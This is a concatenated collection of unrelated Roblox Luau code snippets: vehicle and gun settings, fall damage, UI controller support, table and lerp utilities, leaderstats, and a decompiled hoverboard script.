RWearSpeed = 0.50 ,
RTargetFriction = .79 ,
RMinFriction = .1 ,
--Tire Slip
TCSOffRatio = 3/4 ,
WheelLockRatio = 1/1.2 , --SS6 Default = 1/4
WheelspinRatio = 1/1.15 , --SS6 Default = 1/1.2
--Wheel Properties
FFrictionWeight = 100 , --SS6 Default = 1
RFrictionWeight = 100 , --SS6 Default = 1
FLgcyFrWeight = 100 ,
RLgcyFrWeight = 100 ,
FElasticity = 0 , --SS6 Default = .5
RElasticity = 0 , --SS6 Default = .5
FLgcyElasticity = 0 ,
RLgcyElasticity = 0 ,
FElastWeight = 0 , --SS6 Default = 1
RElastWeight = 0 , --SS6 Default = 1
FLgcyElWeight = 0 ,
RLgcyElWeight = 0 ,
--Wear Regen
RegenSpeed = 3.6 --SS6 Default = 3.6
}
|
-- ====================
-- BASIC
-- A basic settings for the gun
-- ====================
|
Auto = false;
MuzzleOffset = Vector3.new(0, 0.625, 1.25);
BaseDamage = 26;
FireRate = 0.10 ; --In second
ReloadTime = 2; --In second
AmmoPerClip = 30; --Put "math.huge" to make this gun has infinite ammo and never reload
Spread = 1.25; --In degree
HeadshotEnabled = true; --Enable the gun to do extra damage on headshot
HeadshotDamageMultiplier = 4;
MouseIconID = "316279304";
HitSoundIDs = {186809061,186809249,186809250,186809252};
IdleAnimationID = 94242777; --Set to "nil" if you don't want to animate
IdleAnimationSpeed = 1;
FireAnimationID = 94332152; --Set to "nil" if you don't want to animate
FireAnimationSpeed = 6;
ReloadAnimationID = 95384819;
ReloadAnimationSpeed = 3;
|
-- Variables
|
local damageHeight = getSetting("Damaging height") or 5 -- The height at which the player will start getting damaged at
local lethalHeight = getSetting("Lethal height") or 14 -- The height at which the player will get killed
game:GetService("Players").PlayerAdded:Connect(function (plr)
plr.CharacterAdded:Connect(function (char)
local root = char:WaitForChild("HumanoidRootPart")
local humanoid = char:WaitForChild("Humanoid")
if humanoid and root then
local headHeight
wait(3) -- Prevent the player from dying on spawn
humanoid.FreeFalling:Connect(function (state)
if state then
headHeight = root.Position.Y
elseif not state and headHeight ~= nil then
pcall(function ()
local fell = headHeight - root.Position.Y
if fell >= lethalHeight then
humanoid.Health = 0
elseif fell >= damageHeight then
humanoid.Health = humanoid.Health - math.floor(fell)
end
end)
end
end)
end
end)
end)
|
-- BEHAVIOUR
--Controller support
|
coroutine.wrap(function()
-- Create PC 'Enter Controller Mode' Icon
runService.Heartbeat:Wait() -- This is required to prevent an infinite recursion
local Icon = require(script.Parent)
local controllerOptionIcon = Icon.new()
:setName("_TopbarControllerOption")
:setOrder(100)
:setImage("rbxassetid://5278150942")
:setRight()
:setEnabled(false)
:setTip("Controller mode")
controllerOptionIcon.deselectWhenOtherIconSelected = false
-- This decides what controller widgets and displays to show based upon their connected inputs
-- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle
-- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode
local function determineDisplay()
local mouseEnabled = userInputService.MouseEnabled
local controllerEnabled = userInputService.GamepadEnabled
local iconIsSelected = controllerOptionIcon.isSelected
if mouseEnabled and controllerEnabled then
-- Show icon
controllerOptionIcon:setEnabled(true)
elseif mouseEnabled and not controllerEnabled then
-- Hide icon, disableControllerMode
controllerOptionIcon:setEnabled(false)
IconController._enableControllerMode(false)
controllerOptionIcon:deselect()
elseif not mouseEnabled and controllerEnabled then
-- Hide icon, _enableControllerMode
controllerOptionIcon:setEnabled(false)
IconController._enableControllerMode(true)
end
end
userInputService:GetPropertyChangedSignal("MouseEnabled"):Connect(determineDisplay)
userInputService.GamepadConnected:Connect(determineDisplay)
userInputService.GamepadDisconnected:Connect(determineDisplay)
determineDisplay()
-- Enable/Disable Controller Mode when icon clicked
local function iconClicked()
local isSelected = controllerOptionIcon.isSelected
local iconTip = (isSelected and "Normal mode") or "Controller mode"
controllerOptionIcon:setTip(iconTip)
IconController._enableControllerMode(isSelected)
end
controllerOptionIcon.selected:Connect(iconClicked)
controllerOptionIcon.deselected:Connect(iconClicked)
-- Hide/show topbar when indicator action selected in controller mode
userInputService.InputBegan:Connect(function(input,gpe)
if not IconController.controllerModeEnabled then return end
if input.KeyCode == Enum.KeyCode.DPadDown then
if not guiService.SelectedObject and checkTopbarEnabled() then
IconController.setTopbarEnabled(true,false)
end
elseif input.KeyCode == Enum.KeyCode.ButtonB then
IconController._previousSelectedObject = guiService.SelectedObject
IconController._setControllerSelectedObject(nil)
IconController.setTopbarEnabled(false,false)
end
input:Destroy()
end)
-- Setup overflow icons
for alignment, detail in pairs(alignmentDetails) do
if alignment ~= "mid" then
local overflowName = "_overflowIcon-"..alignment
local overflowIcon = Icon.new()
:setImage(6069276526)
:setName(overflowName)
:setEnabled(false)
detail.overflowIcon = overflowIcon
overflowIcon.accountForWhenDisabled = true
if alignment == "left" then
overflowIcon:setOrder(math.huge)
overflowIcon:setLeft()
overflowIcon:set("dropdownAlignment", "right")
elseif alignment == "right" then
overflowIcon:setOrder(-math.huge)
overflowIcon:setRight()
overflowIcon:set("dropdownAlignment", "left")
end
overflowIcon.lockedSettings = {
["iconImage"] = true,
["order"] = true,
["alignment"] = true,
}
end
end
end)()
|
--[=[
@within TableUtil
@function Zip
@param ... table
@return (iter: (t: table, k: any) -> (key: any?, values: table?), tbl: table, startIndex: any?)
Returns an iterator that can scan through multiple tables at the same time side-by-side, matching
against shared keys/indices.
```lua
local t1 = {10, 20, 30, 40, 50}
local t2 = {60, 70, 80, 90, 100}
for key,values in TableUtil.Zip(t1, t2) do
print(key, values)
end
--[[
Outputs:
1 {10, 60}
2 {20, 70}
3 {30, 80}
4 {40, 90}
5 {50, 100}
--]]
```
]=]
|
local function Zip(...: { [any]: any }): ((t: { any }, k: any) -> (any, any), { any }, any)
assert(select("#", ...) > 0, "Must supply at least 1 table")
local function ZipIteratorArray(all: { any }, k: number): (number?, { any }?)
k += 1
local values = {}
for i, t in all do
local v = t[k]
if v ~= nil then
values[i] = v
else
return nil, nil
end
end
return k, values
end
local function ZipIteratorMap(all: { [any]: any }, k: any): (number?, { any }?)
local values = {}
for i, t in all do
local v = next(t, k)
if v ~= nil then
values[i] = v
else
return nil, nil
end
end
return k, values
end
local all = { ... }
if #all[1] > 0 then
return ZipIteratorArray, all, 0
else
return ZipIteratorMap, all, nil
end
end
|
-- Função 2
|
Playing:GetPropertyChangedSignal("Value"):Connect(function()
if Playing.Value == true then
LightService.Atmosphere.Density = 0.6
end
end)
|
-- Generic Roblox DataType lerp function.
|
local function RobloxLerp(V0, V1)
return function(Alpha)
return V0:Lerp(V1, Alpha)
end
end
local function Lerp(Start, Finish, Alpha)
return Start + Alpha * (Finish - Start)
end
local function SortByTime(A, B)
return A.Time < B.Time
end
local function Color3Lerp(C0, C1)
local L0, U0, V0
local R0, G0, B0 = C0.R, C0.G, C0.B
R0 = R0 < 0.0404482362771076 and R0 / 12.92 or 0.87941546140213 * (R0 + 0.055) ^ 2.4
G0 = G0 < 0.0404482362771076 and G0 / 12.92 or 0.87941546140213 * (G0 + 0.055) ^ 2.4
B0 = B0 < 0.0404482362771076 and B0 / 12.92 or 0.87941546140213 * (B0 + 0.055) ^ 2.4
local Y0 = 0.2125862307855956 * R0 + 0.71517030370341085 * G0 + 0.0722004986433362 * B0
local Z0 = 3.6590806972265883 * R0 + 11.4426895800574232 * G0 + 4.1149915024264843 * B0
local _L0 = Y0 > 0.008856451679035631 and 116 * Y0 ^ (1 / 3) - 16 or 903.296296296296 * Y0
if Z0 > 1E-15 then
local X = 0.9257063972951867 * R0 - 0.8333736323779866 * G0 - 0.09209820666085898 * B0
L0, U0, V0 = _L0, _L0 * X / Z0, _L0 * (9 * Y0 / Z0 - 0.46832)
else
L0, U0, V0 = _L0, -0.19783 * _L0, -0.46832 * _L0
end
local L1, U1, V1
local R1, G1, B1 = C1.R, C1.G, C1.B
R1 = R1 < 0.0404482362771076 and R1 / 12.92 or 0.87941546140213 * (R1 + 0.055) ^ 2.4
G1 = G1 < 0.0404482362771076 and G1 / 12.92 or 0.87941546140213 * (G1 + 0.055) ^ 2.4
B1 = B1 < 0.0404482362771076 and B1 / 12.92 or 0.87941546140213 * (B1 + 0.055) ^ 2.4
local Y1 = 0.2125862307855956 * R1 + 0.71517030370341085 * G1 + 0.0722004986433362 * B1
local Z1 = 3.6590806972265883 * R1 + 11.4426895800574232 * G1 + 4.1149915024264843 * B1
local _L1 = Y1 > 0.008856451679035631 and 116 * Y1 ^ (1 / 3) - 16 or 903.296296296296 * Y1
if Z1 > 1E-15 then
local X = 0.9257063972951867 * R1 - 0.8333736323779866 * G1 - 0.09209820666085898 * B1
L1, U1, V1 = _L1, _L1 * X / Z1, _L1 * (9 * Y1 / Z1 - 0.46832)
else
L1, U1, V1 = _L1, -0.19783 * _L1, -0.46832 * _L1
end
return function(Alpha)
local L = (1 - Alpha) * L0 + Alpha * L1
if L < 0.0197955 then
return BLACK_COLOR3
end
local U = ((1 - Alpha) * U0 + Alpha * U1) / L + 0.19783
local V = ((1 - Alpha) * V0 + Alpha * V1) / L + 0.46832
local Y = (L + 16) / 116
Y = Y > 0.206896551724137931 and Y * Y * Y or 0.12841854934601665 * Y - 0.01771290335807126
local X = Y * U / V
local Z = Y * ((3 - 0.75 * U) / V - 5)
local R = 7.2914074 * X - 1.5372080 * Y - 0.4986286 * Z
local G = -2.1800940 * X + 1.8757561 * Y + 0.0415175 * Z
local B = 0.1253477 * X - 0.2040211 * Y + 1.0569959 * Z
if R < 0 and R < G and R < B then
R, G, B = 0, G - R, B - R
elseif G < 0 and G < B then
R, G, B = R - G, 0, B - G
elseif B < 0 then
R, G, B = R - B, G - B, 0
end
R = R < 3.1306684425E-3 and 12.92 * R or 1.055 * R ^ (1 / 2.4) - 0.055 -- 3.1306684425E-3
G = G < 3.1306684425E-3 and 12.92 * G or 1.055 * G ^ (1 / 2.4) - 0.055
B = B < 3.1306684425E-3 and 12.92 * B or 1.055 * B ^ (1 / 2.4) - 0.055
R = R > 1 and 1 or R < 0 and 0 or R
G = G > 1 and 1 or G < 0 and 0 or G
B = B > 1 and 1 or B < 0 and 0 or B
return Color3.new(R, G, B)
end
end
local Lerps = setmetatable({
boolean = function(V0, V1)
return function(Alpha)
if Alpha < 0.5 then
return V0
else
return V1
end
end
end;
number = function(V0, V1)
local Delta = V1 - V0
return function(Alpha)
return V0 + Delta * Alpha
end
end;
string = function(V0, V1)
local RegularString = false
local N0, D do
local Sign0, H0, M0, S0 = string.match(V0, "^([+-]?)(%d*):[+-]?(%d*):[+-]?(%d*)$")
local Sign1, H1, M1, S1 = string.match(V1, "^([+-]?)(%d*):[+-]?(%d*):[+-]?(%d*)$")
if Sign0 and Sign1 then
N0 = 3600 * (tonumber(H0) or 0) + 60 * (tonumber(M0) or 0) + (tonumber(S0) or 0)
local N1 = 3600 * (tonumber(H1) or 0) + 60 * (tonumber(M1) or 0) + (tonumber(S1) or 0)
if Sign0 == "-" then
N0 = -N0
end
D = (43200 + (Sign1 ~= "-" and N1 or -N1) - N0) % 86400 - 43200
else
RegularString = true
end
end
if RegularString then
local Length = #V1
return function(Alpha)
Alpha = 1 + Length * Alpha
return string.sub(V1, 1, Alpha < Length and Alpha or Length)
end
else
return function(Alpha)
local FS = (N0 + D * Alpha) % 86400
local S = math.abs(FS)
return string.format(
FS < 0 and "-%.2u:%.2u:%.2u" or "%.2u:%.2u:%.2u",
(S - S % 3600) / 3600,
(S % 3600 - S % 60) / 60,
S % 60
)
end
end
end;
CFrame = RobloxLerp;
Color3 = Color3Lerp;
NumberRange = function(V0, V1)
local Min0, Max0 = V0.Min, V0.Max
local DeltaMin, DeltaMax = V1.Min - Min0, V1.Max - Max0
return function(Alpha)
return NumberRange.new(Min0 + Alpha * DeltaMin, Max0 + Alpha * DeltaMax)
end
end;
NumberSequenceKeypoint = function(V0, V1)
local T0, Value0, E0 = V0.Time, V0.Value, V0.Envelope
local DT, DV, DE = V1.Time - T0, V1.Value - Value0, V1.Envelope - E0
return function(Alpha)
return NumberSequenceKeypoint.new(T0 + Alpha * DT, Value0 + Alpha * DV, E0 + Alpha * DE)
end
end;
PhysicalProperties = function(V0, V1)
local D0, E0, EW0, F0, FW0 =
V0.Density, V0.Elasticity,
V0.ElasticityWeight, V0.Friction,
V0.FrictionWeight
local DD, DE, DEW, DF, DFW =
V1.Density - D0, V1.Elasticity - E0,
V1.ElasticityWeight - EW0, V1.Friction - F0,
V1.FrictionWeight - FW0
return function(Alpha)
return PhysicalProperties.new(
D0 + Alpha * DD,
E0 + Alpha * DE, EW0 + Alpha * DEW,
F0 + Alpha * DF, FW0 + Alpha * DFW
)
end
end;
Ray = function(V0, V1)
local O0, D0, O1, D1 = V0.Origin, V0.Direction, V1.Origin, V1.Direction
local OX0, OY0, OZ0, DX0, DY0, DZ0 = O0.X, O0.Y, O0.Z, D0.X, D0.Y, D0.Z
local DOX, DOY, DOZ, DDX, DDY, DDZ = O1.X - OX0, O1.Y - OY0, O1.Z - OZ0, D1.X - DX0, D1.Y - DY0, D1.Z - DZ0
return function(Alpha)
return Ray.new(
Vector3.new(OX0 + Alpha * DOX, OY0 + Alpha * DOY, OZ0 + Alpha * DOZ),
Vector3.new(DX0 + Alpha * DDX, DY0 + Alpha * DDY, DZ0 + Alpha * DDZ)
)
end
end;
UDim = function(V0, V1)
local SC, OF = V0.Scale, V0.Offset
local DSC, DOF = V1.Scale - SC, V1.Offset - OF
return function(Alpha)
return UDim.new(SC + Alpha * DSC, OF + Alpha * DOF)
end
end;
UDim2 = RobloxLerp;
Vector2 = RobloxLerp;
Vector3 = RobloxLerp;
Rect = function(V0, V1)
return function(Alpha)
return Rect.new(
V0.Min.X + Alpha * (V1.Min.X - V0.Min.X), V0.Min.Y + Alpha * (V1.Min.Y - V0.Min.Y),
V0.Max.X + Alpha * (V1.Max.X - V0.Max.X), V0.Max.Y + Alpha * (V1.Max.Y - V0.Max.Y)
)
end
end;
Region3 = function(V0, V1)
return function(Alpha)
local imin = Lerp(V0.CFrame * (-V0.Size / 2), V1.CFrame * (-V1.Size / 2), Alpha)
local imax = Lerp(V0.CFrame * (V0.Size / 2), V1.CFrame * (V1.Size / 2), Alpha)
local iminx = imin.X
local imaxx = imax.X
local iminy = imin.Y
local imaxy = imax.Y
local iminz = imin.Z
local imaxz = imax.Z
return Region3.new(
Vector3.new(iminx < imaxx and iminx or imaxx, iminy < imaxy and iminy or imaxy, iminz < imaxz and iminz or imaxz),
Vector3.new(iminx > imaxx and iminx or imaxx, iminy > imaxy and iminy or imaxy, iminz > imaxz and iminz or imaxz)
)
end
end;
NumberSequence = function(V0, V1)
return function(Alpha)
local keypoints = {}
local addedTimes = {}
local keylength = 0
for _, ap in ipairs(V0.Keypoints) do
local closestAbove, closestBelow
for _, bp in ipairs(V1.Keypoints) do
if bp.Time == ap.Time then
closestAbove, closestBelow = bp, bp
break
elseif bp.Time < ap.Time and (closestBelow == nil or bp.Time > closestBelow.Time) then
closestBelow = bp
elseif bp.Time > ap.Time and (closestAbove == nil or bp.Time < closestAbove.Time) then
closestAbove = bp
end
end
local bValue, bEnvelope
if closestAbove == closestBelow then
bValue, bEnvelope = closestAbove.Value, closestAbove.Envelope
else
local p = (ap.Time - closestBelow.Time) / (closestAbove.Time - closestBelow.Time)
bValue = (closestAbove.Value - closestBelow.Value) * p + closestBelow.Value
bEnvelope = (closestAbove.Envelope - closestBelow.Envelope) * p + closestBelow.Envelope
end
keylength += 1
keypoints[keylength] = NumberSequenceKeypoint.new(ap.Time, (bValue - ap.Value) * Alpha + ap.Value, (bEnvelope - ap.Envelope) * Alpha + ap.Envelope)
addedTimes[ap.Time] = true
end
for _, bp in ipairs(V1.Keypoints) do
if not addedTimes[bp.Time] then
local closestAbove, closestBelow
for _, ap in ipairs(V0.Keypoints) do
if ap.Time == bp.Time then
closestAbove, closestBelow = ap, ap
break
elseif ap.Time < bp.Time and (closestBelow == nil or ap.Time > closestBelow.Time) then
closestBelow = ap
elseif ap.Time > bp.Time and (closestAbove == nil or ap.Time < closestAbove.Time) then
closestAbove = ap
end
end
local aValue, aEnvelope
if closestAbove == closestBelow then
aValue, aEnvelope = closestAbove.Value, closestAbove.Envelope
else
local p = (bp.Time - closestBelow.Time) / (closestAbove.Time - closestBelow.Time)
aValue = (closestAbove.Value - closestBelow.Value) * p + closestBelow.Value
aEnvelope = (closestAbove.Envelope - closestBelow.Envelope) * p + closestBelow.Envelope
end
keylength += 1
keypoints[keylength] = NumberSequenceKeypoint.new(bp.Time, (bp.Value - aValue) * Alpha + aValue, (bp.Envelope - aEnvelope) * Alpha + aEnvelope)
end
end
table.sort(keypoints, SortByTime)
return NumberSequence.new(keypoints)
end
end;
ColorSequence = function(V0, V1)
return function(Alpha)
local keypoints = {}
local addedTimes = {}
local keylength = 0
for _, ap in ipairs(V0.Keypoints) do
local closestAbove, closestBelow
for _, bp in ipairs(V1.Keypoints) do
if bp.Time == ap.Time then
closestAbove, closestBelow = bp, bp
break
elseif bp.Time < ap.Time and (closestBelow == nil or bp.Time > closestBelow.Time) then
closestBelow = bp
elseif bp.Time > ap.Time and (closestAbove == nil or bp.Time < closestAbove.Time) then
closestAbove = bp
end
end
local bValue
if closestAbove == closestBelow then
bValue = closestAbove.Value
else
bValue = Color3Lerp(closestBelow.Value, closestAbove.Value)((ap.Time - closestBelow.Time) / (closestAbove.Time - closestBelow.Time))
end
keylength += 1
keypoints[keylength] = ColorSequenceKeypoint.new(ap.Time, Color3Lerp(ap.Value, bValue)(Alpha))
addedTimes[ap.Time] = true
end
for _, bp in ipairs(V1.Keypoints) do
if not addedTimes[bp.Time] then
local closestAbove, closestBelow
for _, ap in ipairs(V0.Keypoints) do
if ap.Time == bp.Time then
closestAbove, closestBelow = ap, ap
break
elseif ap.Time < bp.Time and (closestBelow == nil or ap.Time > closestBelow.Time) then
closestBelow = ap
elseif ap.Time > bp.Time and (closestAbove == nil or ap.Time < closestAbove.Time) then
closestAbove = ap
end
end
local aValue
if closestAbove == closestBelow then
aValue = closestAbove.Value
else
aValue = Color3Lerp(closestBelow.Value, closestAbove.Value)((bp.Time - closestBelow.Time) / (closestAbove.Time - closestBelow.Time))
end
keylength += 1
keypoints[keylength] = ColorSequenceKeypoint.new(bp.Time, Color3Lerp(bp.Value, aValue)(Alpha))
end
end
table.sort(keypoints, SortByTime)
return ColorSequence.new(keypoints)
end
end;
}, {
__index = function(_, Index)
error("No lerp function is defined for type " .. tostring(Index) .. ".", 4)
end;
__newindex = function(_, Index)
error("No lerp function is defined for type " .. tostring(Index) .. ".", 4)
end;
})
return Lerps
|
--Basically checks if the toucher of the button is a player, then adds money to that player.
| |
-- Place in backpack if was equipped
|
if wasEquipped then
script.Parent.Parent = plr.Backpack
end
|
--[=[
Loads a folder into a localization table.
@param tableName string -- Used for source
@param folder Folder -- A Roblox folder with StringValues containing JSON, named with the localization in mind
]=]
|
function JsonToLocalizationTable.loadFolder(tableName, folder)
assert(type(tableName) == "string", "Bad tableName")
local localizationTable = JsonToLocalizationTable.getOrCreateLocalizationTable()
for _, item in pairs(folder:GetDescendants()) do
if item:IsA("StringValue") then
local localeId = JsonToLocalizationTable.localeFromName(item.Name)
JsonToLocalizationTable.addJsonToTable(localizationTable, localeId, item.Value, tableName)
elseif item:IsA("ModuleScript") then
local localeId = JsonToLocalizationTable.localeFromName(item.Name)
recurseAdd(localizationTable, localeId, "", require(item), tableName)
end
end
return localizationTable
end
|
--[=[
Constructs a new Touch input capturer.
]=]
|
function Touch.new()
local self = setmetatable({}, Touch)
self._trove = Trove.new()
self.TouchTapInWorld = self._trove:Add(Signal.Wrap(UserInputService.TouchTapInWorld))
self.TouchPan = self._trove:Add(Signal.Wrap(UserInputService.TouchPan))
self.TouchPinch = self._trove:Add(Signal.Wrap(UserInputService.TouchPinch))
return self
end
|
--[[
Breaks the window, visually modifying it, and breaching associate room if not already
]]
|
function Window:breach()
self._state = Constants.State.Window.Breached
local glass = self._model:FindFirstChild("Glass")
glass.CanCollide = false
glass.Material = Enum.Material.ForceField
glass.Color = Color3.fromRGB(252, 0, 0)
spawn(
function()
while self:_isBreached() do
glass.Transparency = 1
wait(1)
glass.Transparency = 0
wait(1)
end
end
)
local room = self._associatedRoom
if not room:isBreached() then
room:breachRoom(self._model.Glass)
end
CreateWindowMarker:FireAllClients(glass)
end
|
-- regeneration
|
while true do
local s = wait(4)
local health = Humanoid.Health
if health > 0 and health < Humanoid.MaxHealth then
health = health + 0.08 * s * Humanoid.MaxHealth
if health * .95 < Humanoid.MaxHealth then
Humanoid.Health = health
else
Humanoid.Health = Humanoid.MaxHealth
end
end
end
|
--{{TYPES}} : COLORS, SIZES, AND MORE!
|
Settings.Colors = {
["1"] = Color3.fromRGB(255, 0, 0); -- {{DAMAGED}}
["2"] = Color3.fromRGB(0, 255, 0); -- {{HEALED}}
}
Settings.Sizes = {
Small = UDim2.new(1.8, 0, 1.8, 0); -- {{SMALL SIZE, IM SURE IT HAS A GOOD PERSONALITY THOUGH}}
}
return Settings
|
-- [ BASIC ] --
|
local LookAtPlayerRange = 10 -- Distance away that NPC can looks
local LookAtNonPlayer = false -- Looks at other humanoid that isn't player
|
-- Attack configuration
|
local ATTACK_MODE = getValueFromConfig("AttackMode")
local ATTACK_RADIUS = getValueFromConfig("AttackRadius")
local ATTACK_DAMAGE = getValueFromConfig("AttackDamage")
local ATTACK_DELAY = getValueFromConfig("AttackDelay")
local RELOAD_DELAY = getValueFromConfig("ReloadDelay")
local CLIP_CAPACITY = getValueFromConfig("ClipCapacity")
|
--!strict
-- upstream: https://github.com/facebook/react/blob/55cb0b7eeb0e539d89858b8ed69beabf7fe2fb46/packages/shared/checkPropTypes.js
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
]]
|
local Packages = script.Parent.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local Error = LuauPolyfill.Error
type Object = LuauPolyfill.Object
type Function = (...any) -> ...any
|
---Converts a number with you know K and stuff
|
function module:ConvertNumber(Number)
local NumberedNum = tonumber(Number)
local FinalNum = NumberedNum
---Checking for phase 1 template: 100k
if NumberedNum > 999999 then
local Cached_Num = NumberedNum / 1000
Cached_Num = math.floor(Cached_Num)
FinalNum = Cached_Num..("K")
---Checking for phase 2 template: 10.0k
elseif NumberedNum > 9999 then
local Cached_Num = NumberedNum / 100
Cached_Num = math.floor(Cached_Num)
FinalNum = Cached_Num / 10 ..("K")
end
return FinalNum
end
return module
|
-- Looking for how exactly to set up your background music? Open the Readme/Instructions script!
|
local settings = {}
settings.UseGlobalBackgroundMusic = false -- If you want to play Global Background Music for everyone in your game, set this to true.
settings.UseMusicZones = true -- If you are using the Background Music Zones to play specific music in certain areas, set this to true.
|
--tool = script.Parent.Pistol
|
function Die()
--if tool ~= nil then tool:remove() end
wait(10)
script.Parent:remove()
end
human.Died:connect(Die)
|
-- Every time you load an animation to a variable, it inserts a new Animation instance in the Humanoid to be played. Kind of like "holding" an animation in the Humanoid.
| |
-- State
|
local state = require(script.Parent.state)
|
-- ================================================================================
-- PUBLIC FUNCTIONS
-- ================================================================================
|
function PlayerConverter:PlayerToSpeeder(selection, racing)
if racing == nil then racing = false end
-- Fire RemoteEvent to handle conversion server-side
LoadSpeeder:FireServer(selection, racing)
end -- PlayerConverter:PlayerToSpeeder()
function PlayerConverter:PlayerToSpeederClient(racing)
if racing == nil then racing = false end
local Players = game:GetService("Players")
local player = Players.LocalPlayer
local PlayerGui = player:FindFirstChild("PlayerGui")
-- Get player's character
local character = player.Character or player.CharacterAdded():wait()
local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")
local head = character:FindFirstChild("Head")
-- Move HumanoidRotPart out of range of interaction NPC
if humanoidRootPart then
humanoidRootPart.Position = humanoidRootPart.Position + Vector3.new(0, 40, 0)
end
if head then
head.Position = head.Position + Vector3.new(0, 40, 0)
end
-- Lock/Center and hide mouse
UserInputService.MouseIconEnabled = false
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
UserInputService.MouseIconEnabled = false
-- Disable touch control GUIs on mobile devices
if IS_MOBILE then
local TouchGui = PlayerGui:WaitForChild("TouchGui")
TouchGui.Enabled = false
end
if racing then
local countdownGui = PlayerGui:WaitForChild("CountdownGui")
countdownGui.TimerFrame.Visible = false
end
end -- PlayerConverter:PlayerToSpeederClient()
function PlayerConverter:PlayerToSpeederServer(player, selection, racing)
if racing == nil then racing = false end
-- Get player's character
local character = player.Character or player.CharacterAdded:wait()
-- Anchor and make limbs transparent
setModelAnchored(character, true)
setModelCanCollide(character, false)
setModelTransparency(character, 1)
-- Remove limbs and unecessay character parts
removeLimbsAndThings(character)
-- Clone selected speeder
local speeder = selection:clone()
-- Set character's PrimaryPart to speeder's PrimaryPart
local body = speeder:FindFirstChild("Body")
assert(body, "All speeders must have a part named Body. It will be used as the PrimaryPart")
speeder.PrimaryPart = body
character.PrimaryPart = body
character.PrimaryPart.Name = "HumanoidRootPart"
-- Set collision group so that players cannot collide when they are speeders
setCollisionGroup(speeder, _SPEEDEROBJECTSCOLLISIONGROUP)
-- Unanchor speeder
setModelAnchored(speeder, false)
-- Insert speeder model into character
insertModelIntoCharacter(character,speeder)
-- Clone speeder scripts into player
local controller = Controller:clone()
controller.Parent = character
-- Move player to SpeederSpawnLocation
character:SetPrimaryPartCFrame(SpeederSpawnLocation.CFrame)
LoadSpeeder:FireClient(player, racing)
end -- PlayerConverter:PlayerToSpeederServer()
|
-- создание таблицы лидеров
|
local function onPlayerJoin(player)
-- создаём таблицу лидстата
local leaderstats = Instance.new("Folder")
leaderstats.Name = "leaderstats"
leaderstats.Parent = player
-- добавление хранилища данных
local stageStore = DataStore2("stage", player)
-- создаём переменную этапа
local stage = Instance.new("IntValue")
stage.Name = "Stage"
stage.Value = stageStore:Get(0) -- The "0" means that by default, they'll have 0 stage
stage.Parent = leaderstats
stageStore:OnUpdate(function(newstage)
-- This function runs every time the value inside the data store changes.
stage.Value = newstage
end)
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
while not v1.Loaded do
game:GetService("RunService").Heartbeat:Wait();
end;
local l__StarterPlayer__2 = v1.StarterPlayer;
local l__CollectionService__3 = v1.CollectionService;
local l__Hoverboards__1 = v1.Directory.Hoverboards;
local u2 = nil;
function Create(p1)
local l____HOVERBOARD__4 = v1.PlayerModule.Get("Character", p1):FindFirstChild("__HOVERBOARD");
if l____HOVERBOARD__4 then
l____HOVERBOARD__4:Destroy();
end;
local v5 = v1.StatService.Get(p1);
if v5 then
if not v5.Hoverboard then
return;
end;
else
return;
end;
local v6 = l__Hoverboards__1[v5.Hoverboard];
if not v6 then
return;
end;
local v7 = v1.PlayerModule.Get("Humanoid");
local v8 = v1.PlayerModule.Get("RootPart");
if v7 then
if v8 then
u2 = v7.HipHeight;
v8.CFrame = v8.CFrame + Vector3.new(0, v7.HipHeight - v6.HipHeight, 0);
v7.HipHeight = v6.HipHeight;
v7.AutoJumpEnabled = false;
end;
end;
end;
local l__LocalPlayer__3 = v1.LocalPlayer;
function Remove(p2)
local v9 = v1.PlayerModule.Get("Humanoid");
local v10 = v1.PlayerModule.Get("RootPart");
if v9 then
if v10 then
if p2 == l__LocalPlayer__3 then
v10.Velocity = Vector3.new();
end;
if u2 then
v9.HipHeight = u2;
u2 = nil;
end;
v9.AutoJumpEnabled = true;
end;
end;
end;
function UpdatePlayer(p3, p4)
local v11 = v1.PlayerModule.Get("Character", p3);
if p4 then
if not v11:FindFirstChild("__HOVERBOARD") then
return Create(p3);
end;
end;
if not p4 then
if v11:FindFirstChild("__HOVERBOARD") then
Remove(p3);
end;
end;
end;
function Toggle()
v1.Variables.UsingHoverboard = not v1.Variables.UsingHoverboard;
if not v1.Variables.UsingHoverboard then
Remove(l__LocalPlayer__3);
else
Create(l__LocalPlayer__3);
end;
v1.Network.Fire("Update Hoverboard State", v1.Variables.UsingHoverboard);
end;
l__CollectionService__3:GetInstanceAddedSignal("UsingHoverboard"):Connect(function(p5)
UpdatePlayer(p5, true);
end);
l__CollectionService__3:GetInstanceRemovedSignal("UsingHoverboard"):Connect(function(p6)
UpdatePlayer(p6, false);
end);
task.defer(function()
while v1.Variables.LoadingWorld do
v1.Heartbeat();
end;
for v12, v13 in ipairs((l__CollectionService__3:GetTagged("UsingHoverboard"))) do
if not v12 then
break;
end;
coroutine.wrap(UpdatePlayer)(v13, true);
end;
end);
v1.Signal.Fired("Stat Changed"):Connect(function(p7)
end);
v1.Signal.Fired("Changed Platform"):Connect(function()
end);
v1.Signal.Fired("World Changed"):Connect(function()
if v1.Variables.UsingHoverboard then
Toggle();
end;
end);
|
--Variables
|
local Seats = {}
local EnterKeyDown = false
local AdornedSeat = nil
local currentHumanoid = nil
local AnimationTracks = {}
|
--[[local gui = Instance.new("ScreenGui")
local bg = Instance.new("Frame",gui)
local bar = Instance.new("Frame",bg)
local bvl = Instance.new("ImageLabel", bg)
bvl.Name = "Bevel"
bvl.BackgroundTransparency = 1
bvl.Image = "http://www.roblox.com/asset/?id=56852431"
bvl.Size = UDim2.new(1,0,1,0)
bg.Name = "Back"
bar.Name = "Charge"
bar.BackgroundColor3 = Color3.new(200/255,0/255,0/255)
bg.BackgroundColor3 = Color3.new(200/255,200/255,200/255)
bg.Size = UDim2.new(0,10,0,-100)
bg.Position = UDim2.new(0,5,0,500)
bar.Size = UDim2.new(0,4,-1,0)
bar.Position = UDim2.new(0,3,1,0)
ggui = gui:Clone()
ggui.Name = "GunGui"
ggui.Back.Charge.Size = UDim2.new(0,4,-(script.Charge.Value/100),0)]]
|
GroupID = 9999
function AntiGH(char1,char2)
